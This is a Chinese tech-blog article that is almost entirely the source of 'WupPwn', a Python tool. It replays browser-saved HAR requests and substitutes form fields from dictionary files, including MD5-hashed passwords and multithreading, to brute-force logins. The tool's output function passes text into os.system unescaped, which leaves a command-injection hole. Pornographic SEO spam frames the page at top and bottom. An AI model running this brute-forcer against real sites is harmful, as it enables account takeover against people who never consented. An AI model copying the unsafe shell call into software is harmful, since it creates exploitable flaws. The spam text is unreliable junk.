日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

Python如何利用Har文件進行遍歷指定字典替換提交的數據詳解

瀏覽:145日期:2022-07-06 13:23:59

利用Chrome或Firefox保存的Har文件http/https請求,可用于遍歷字典提交From表單.

少說廢話直接上代碼

Github地址:https://github.com/H0xMrLin/wuppwn

#encoding:utf-8import sys;#Yeah,我沒有注釋。懶得寫HelpContent='''Help:+=====================================================================================================================+ WupPwn.pyPython3 WupPwn.py HarFileName [pd=filedName:Value|pd=filedName:$DicFileName] [if=responseContent] [ifnot=responseContent] [ifend=responseContent] [out=OutFileName] HarFileName har文件名 谷歌或Firefox web抓包保存為har entries下可以看到所有請求的地址及參數 可以刪除一些不必要的請求讓程序更快運行 pd 設置上傳數據 字段名:值 或者 字段名:字典 if=xxx 如果內容是xxx那就記錄 可多個用||隔開 ifnot=xxx 如果內容不是xxx哪就記錄 可多個用||隔開 ifend=xxx 如果內容是xxx那就記錄并結束 可多個用||隔開 out=xx.txt 輸出記錄到文件 see=on|off 查看每次嘗試破解響應 Current request method have: GET/POST *且目前不支持http請求頭帶 RFC 標識 (RFC-eg: ’:method’:’POST’)可以檢查是否有 md5=XXX 將 指定字段名的值進行md5加密再暴力破解 一般=password||passwd||pwd ... th=5 設置5個線程同時運行 版本警告: 《!》: 切勿用作違法使用,僅供滲透測試,如非法使用該工具與作者無關。 Makerby:Pwn0_+x_X+=====================================================================================================================+''';if(len(sys.argv) <=1): print(HelpContent); sys.exit(1);if(sys.argv[1].lower()=='h' or sys.argv[1].lower()=='-h' or sys.argv[1].lower()=='help'or sys.argv[1].lower()=='-help'): print(HelpContent); sys.exit(1);import os;import json;import urllib.request;import requests;import socket;import hashlib;import threading;import traceback;import uuid;import copyfrom hyper.contrib import HTTP20Adapter;socket.setdefaulttimeout(3);CAllowRequestMethod=['get','post'];HARFile=sys.argv[1];harfp=open(HARFile,'rb');harContent=harfp.read();HarJSON=json.loads(harContent);Body=HarJSON['log']print('Version :'+Body['version']);print('Request Count :'+str( len(Body['entries'])))AimUrlAPar={};for reqBody in Body['entries']: AimUrlAPar[reqBody['request']['url']]={}; AllowRequest='×'; if(reqBody['request']['method'].lower() in CAllowRequestMethod): AllowRequest='√'; else: print(' '*5,'[',AllowRequest,']',reqBody['request']['method'],'tt'+reqBody['request']['url'].split('?')[0]) continue; print(' '*5,'[',AllowRequest,']',reqBody['request']['method'],'tt'+reqBody['request']['url'].split('?')[0]) Parameter= reqBody['request']['queryString'] if reqBody['request']['method'].lower()=='get' else reqBody['request']['postData']['text'] #print(Parameter) if(reqBody['request']['method'].lower()=='post'): if 'application/json' in reqBody['request']['postData']['mimeType']: Parameter=json.loads(Parameter) else: Parameter=reqBody['request']['postData']['params']; tmpPar={}; for item in Parameter: tmpPar[item['name']]=item['value']; Parameter=tmpPar; AimUrlAPar[reqBody['request']['url']]['paramtertype']=reqBody['request']['postData']['mimeType'].lower() elif(reqBody['request']['method'].lower()=='get'): Par={}; #print('get') for item in Parameter: Par[item['name']]=item['value'] Parameter=Par; headers={}; headNotContains=['Content-Length']; for headFiled in reqBody['request']['headers']: if headFiled['name'] in headNotContains: continue; headers[headFiled['name']]=headFiled['value']; cookies={}; for headFiled in reqBody['request']['cookies']: cookies[headFiled['name']]=headFiled['value']; #print(cookies); AimUrlAPar[reqBody['request']['url']]['arguments']=Parameter AimUrlAPar[reqBody['request']['url']]['header']=headers AimUrlAPar[reqBody['request']['url']]['cookies']=cookies AimUrlAPar[reqBody['request']['url']]['method']=reqBody['request']['method'].lower() AimUrlAPar[reqBody['request']['url']]['httpversion']=reqBody['request']['httpVersion'].lower() #系統存儲kPMd5={}; #用戶參數設定pds=[];ifC=[];# 最小優先級ifN=[];# 其二優先級ifE=[];# 最大優先級otFile='';ascMD5=[];testsee='off';see='off';th=0;#因為我不太喜歡指令的參數化模塊 所以我直接寫了個硬代碼 注:python的模塊有時候很討厭.def setBaseParamters(Key,Value): global see,otFile,testsee,th; Key=Key.lower(); if(Key=='pd'): FILEDSUM=Value.split(':'); filedName=FILEDSUM[0]; filedValue=FILEDSUM[1]; if(filedValue[0]=='$'): apArr=[]; filedP=open(filedValue[1:],'r'); redValueLines=filedP.readlines(); for val in redValueLines: apArr.append({filedName:val.replace('n','')}); pds.append(apArr); else: pds.append([{filedName:filedValue}]); elif(Key=='if'): ifcItems=Value.split('||'); for item in ifcItems: ifC.append(item); elif(Key=='ifnot'): ifcItems=Value.split('||'); for item in ifcItems: ifN.append(item); elif(Key=='ifend'): ifcItems=Value.split('||'); for item in ifcItems: ifE.append(item); elif(Key=='md5'): md5Items=Value.split('||'); for item in md5Items: ascMD5.append(item); elif(Key=='see'): see=Value.strip().lower(); elif(Key=='out'): otFile=Value.strip().lower(); elif(Key=='testsee'): testsee=Value.strip().lower(); elif(Key=='th'): th=int(Value.strip().lower()); return;curThs={};def pdLoop(index,havePar={},myThead=None): global curThs,kPMd5; for item in pds[index]: FiledName=list(item.keys())[0]; FiledValue=list(item.values())[0]; if(FiledName in ascMD5): m5Obj=hashlib.md5(bytes(FiledValue,encoding='UTF-8')); SourceValue=FiledValue; FiledValue=m5Obj.hexdigest(); kPMd5[FiledValue]=SourceValue; havePar[FiledName]=FiledValue; if(index>0): if(th>0 and len(curThs)<th ): print('[+]線程記錄點') childThread=str(uuid.uuid1()).replace('-',''); RunTh= threading.Thread(target=pdLoop,args=(index-1,copy.deepcopy(havePar),childThread,));curThs[childThread]=RunTh; RunTh.start(); else: pdLoop(index-1,copy.deepcopy(havePar)); else: Call(havePar); if(myThead!=None): print('[+]線程釋放點',myThead) curThs.pop(myThead);def Call(sendData): for reqUrl in list(AimUrlAPar.keys()): CurHeaders= AimUrlAPar[reqUrl]['header']; CurHeaders['Cookie']=''; CurCookies= AimUrlAPar[reqUrl]['cookies']; for cookieKey in list(CurCookies.keys()): CurHeaders['Cookie']+=cookieKey+'='+CurCookies[cookieKey]+';' #print(cookieKey+'='+CurCookies[cookieKey]+';'); CurArguments= AimUrlAPar[reqUrl]['arguments']; for cgDataKey in list(sendData.keys()): CurArguments[cgDataKey]=sendData[cgDataKey]; try: if(AimUrlAPar[reqUrl]['method']=='get'): print('[+]GET-Pwn:%s'%(reqUrl)); #data = urllib.parse.urlencode(CurArguments).encode(’utf-8’); if(AimUrlAPar[reqUrl]['httpversion']=='http/2.0'): sessions.mount(reqUrl,HTTP20Adapter()); res=requests.get(reqUrl,headers=CurHeaders,params=CurArguments); print(res.text); Auth(CurArguments,res.text); elif(AimUrlAPar[reqUrl]['method']=='post'): ''' data = urllib.parse.urlencode(CurArguments).encode(’utf-8’) request = urllib.request.Request(reqUrl,data = data,headers = CurHeaders,method='POST'); response = urllib.request.urlopen(request) html = response.read().decode(’utf-8’)''' if(AimUrlAPar[reqUrl]['paramtertype']=='application/x-www-form-urlencoded'): data = urllib.parse.urlencode(CurArguments).encode(’utf-8’) else: data = json.dumps(CurArguments); sessions=requests.session(); if(AimUrlAPar[reqUrl]['httpversion']=='http/2.0'): sessions.mount(reqUrl,HTTP20Adapter()); res=sessions.post(reqUrl,data=data,headers=CurHeaders); Auth(CurArguments,res.text); None; except Exception as e: print('[-]Pwn timeout',traceback.print_exc(),kPMd5) def Auth(Arguments,resContent): Success=False; Arguments=copy.deepcopy(Arguments) for argItemName in list(Arguments.keys()): if(argItemName in ascMD5): Arguments[argItemName]=kPMd5[Arguments[argItemName]]; #print(ifE,ifC,ifN) for ifeItem in ifE: if(ifeItem in resContent): Output(str(Arguments)); sys.exit(1); for ifnItem in ifN: if not(ifnItem in resContent ): Output(str(Arguments)); Success=True for ifcItem in ifC: if (ifcItem in resContent ): Output(str(Arguments)); Success=True if(see==’on’): print({True:'t[√]',False:'[-]'}[Success],Success,Arguments); if(testsee=='on'): print(resContent); def Output(text): if(otFile.strip() == ''): return; os.system('echo %s>>%s'%(text,otFile)); return ; for index in range(len(sys.argv)-2): parIndex=index+2; parItem= sys.argv[parIndex]; try: Item= parItem.split('='); key=Item[0]; value=Item[1]; setBaseParamters(key,value); except: print('Error paramter(%s)'%(parItem));#print(AimUrlAPar);if(len(pds)-1>=0): pdLoop(len(pds)-1)

總結

到此這篇關于Python如何利用Har文件進行遍歷指定字典替換提交的數據的文章就介紹到這了,更多相關Python用Har文件遍歷指定字典替換提交的數據內容請搜索好吧啦網以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持好吧啦網!

標簽: Python 編程
相關文章:
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
天海翼精品一区二区三区| 日韩精品久久久久久| 欧美一级网址| 青草国产精品久久久久久| 国产美女亚洲精品7777| 国产精品v亚洲精品v日韩精品| 国产精品欧美一区二区三区不卡| 国产福利亚洲| 国产v综合v| 99精品网站| 亚洲一区二区日韩| 欧美欧美黄在线二区| 免费在线观看成人| 日韩国产在线观看一区| 欧美激情aⅴ一区二区三区| 日韩国产一区二区| 日韩精品1区| 热久久免费视频| 国产精品密蕾丝视频下载| 久久电影tv| 亚洲综合图色| 粉嫩av一区二区三区四区五区 | 91精品高清| 亚洲一区二区三区在线免费| 日韩精品五月天| 久久精品色播| 日韩欧美在线精品| 欧美精品97| 免费av一区| 国产精久久久| 国产婷婷精品| 日韩一区二区三区精品| 成人在线免费观看91| 日韩一级欧洲| 国产黄色精品| 影院欧美亚洲| 大香伊人久久精品一区二区| 国产农村妇女精品一二区| 久久精品国产网站| 亚洲一区导航| 久久激情网站| 视频国产精品| 欧美中文字幕一区二区| 国产视频网站一区二区三区| 欧美1级日本1级| 韩日一区二区| 亚洲精品自拍| 日韩成人亚洲| 免费亚洲婷婷| 亚洲九九精品| 国产99久久| 九九99久久精品在免费线bt| 日韩中文字幕麻豆| 久久精选视频| 精品视频在线你懂得| 亚洲91在线| 都市激情国产精品| 国产欧美一区二区精品久久久| 伊人久久婷婷| 91精品久久久久久久久久不卡| 国产精品一国产精品| 美国三级日本三级久久99| 婷婷成人在线| 国产中文欧美日韩在线| 日欧美一区二区| 国产视频一区三区| 久久三级毛片| 日本特黄久久久高潮| 玖玖精品视频| 日韩一区二区久久| 99视频精品全部免费在线视频| 日韩在线电影| 老司机久久99久久精品播放免费| 欧美成a人免费观看久久| 久久精品国产99国产| 国产精品三级| 国产免费av一区二区三区| 日韩午夜视频在线| 亚洲日产国产精品| 日本 国产 欧美色综合| 欧美精品一卡| 九一成人免费视频| 999视频精品| 日韩精品水蜜桃| 免费看av不卡| 亚洲一级少妇| 精品一区二区三区在线观看视频| 欧美视频久久| 日本欧美大码aⅴ在线播放| 天堂av一区| 亚洲精品自拍| 国产欧美自拍一区| 国产精品高清一区二区| 欧美自拍一区| 国产色噜噜噜91在线精品| 欧美日韩一区二区高清| 亚州欧美在线| 亚洲va久久| 婷婷成人在线| 亚洲美洲欧洲综合国产一区| 日韩精品一级中文字幕精品视频免费观看| 国产亚洲一区二区手机在线观看| 成人午夜国产| 久久国产成人| 日韩国产欧美三级| 国产精品久久久久久久久久久久久久久| 欧美欧美黄在线二区| 欧美精品1区| 天堂8中文在线最新版在线| 久久精品国产亚洲夜色av网站| 黄色精品网站| 亚洲精品高潮| 国产精品欧美三级在线观看 | 久久电影tv| 国产91一区| 久久午夜影视| 欧美日韩视频免费看| 麻豆久久一区| 在线一区视频观看| 麻豆久久精品| 国产精品久久久久久久久久白浆| 97精品国产福利一区二区三区| 少妇精品导航| 一区二区精彩视频| 日本色综合中文字幕| 久久精品国产一区二区| 中文字幕系列一区| 在线国产日韩| 国产精品亚洲产品| 婷婷国产精品| 国产三级一区| 亚洲国产专区校园欧美| 亚洲精品欧美| 9999国产精品| 亚洲视频二区| 日韩黄色大片网站| 日韩精品一级| 999久久久91| 日本视频一区二区| se01亚洲视频 | 美女久久久久久 | 久久免费大视频| **爰片久久毛片| 日韩在线短视频| 亚洲人亚洲人色久| 成人免费一区| 玖玖玖国产精品| 国产suv精品一区| 99国产精品| 精品一区二区三区免费看 | 中文在线а√在线8| 国产自产自拍视频在线观看| 日韩欧美三区| 日韩1区在线| 怡红院精品视频在线观看极品| 亚洲精品极品| 国产精品国产一区| 鲁大师影院一区二区三区| 麻豆91精品91久久久的内涵| 亚洲二区精品| 国产精品片aa在线观看| 国产精品任我爽爆在线播放 | 欧美激情视频一区二区三区在线播放| 日韩成人精品一区| 亚洲精品无播放器在线播放| 97人人精品| 日本不卡高清| 黄色不卡一区| 精品一区91| 欧美一区=区三区| 久久国产高清| 久久国产直播| 免费美女久久99| 精品日韩一区| 亚洲免费观看高清完整版在线观| 麻豆一区二区99久久久久| 国精品一区二区| 亚州欧美在线| 亚洲午夜黄色| 日韩在线第七页| 老鸭窝一区二区久久精品| 在线日韩一区| 成人欧美一区二区三区的电影| 美日韩精品视频| 亚洲成人精选| 日韩天堂在线| 国产成人精品一区二区三区在线| 久久精品99国产精品日本| 丝袜诱惑制服诱惑色一区在线观看| 91视频一区| 黄色成人精品网站| 99久久久久国产精品| 成人精品高清在线视频| 亚洲天堂免费| 国产精品日韩欧美一区| 日韩.com| 欧美日韩一视频区二区| 亚洲欧美久久久| 成人日韩精品| 欧美日韩国产v|